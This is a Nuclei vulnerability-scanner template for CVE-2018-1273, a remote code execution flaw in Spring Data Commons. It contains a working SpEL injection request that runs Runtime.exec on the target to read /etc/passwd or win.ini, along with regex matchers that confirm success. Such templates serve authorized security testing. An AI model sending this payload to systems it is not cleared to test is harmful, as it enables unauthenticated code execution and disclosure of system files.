44 lines
1.4 KiB
YAML
44 lines
1.4 KiB
YAML
id: CVE-2018-1273
|
||
|
||
info:
|
||
name: Spring Data Commons Unauthenticated RCE
|
||
author: dwisiswant0
|
||
severity: critical
|
||
description: |
|
||
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
|
||
and older unsupported versions, contain a property binder vulnerability
|
||
caused by improper neutralization of special elements.
|
||
An unauthenticated remote malicious user (or attacker) can supply
|
||
specially crafted request parameters against Spring Data REST backed HTTP resources
|
||
or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
|
||
reference: https://nvd.nist.gov/vuln/detail/CVE-2018-1273
|
||
tags: cve,cve2018,vmware,rce
|
||
classification:
|
||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
cvss-score: 9.80
|
||
cve-id: CVE-2018-1273
|
||
cwe-id: CWE-20
|
||
|
||
requests:
|
||
- raw:
|
||
- |
|
||
POST /account HTTP/1.1
|
||
Host: {{Hostname}}
|
||
Connection: close
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
|
||
|
||
payloads:
|
||
command:
|
||
- "cat /etc/passwd"
|
||
- "type C:\\/Windows\\/win.ini"
|
||
|
||
matchers:
|
||
- type: regex
|
||
regex:
|
||
- "root:.*:0:0:"
|
||
- "\\[(font|extension|file)s\\]"
|
||
condition: or
|
||
part: body
|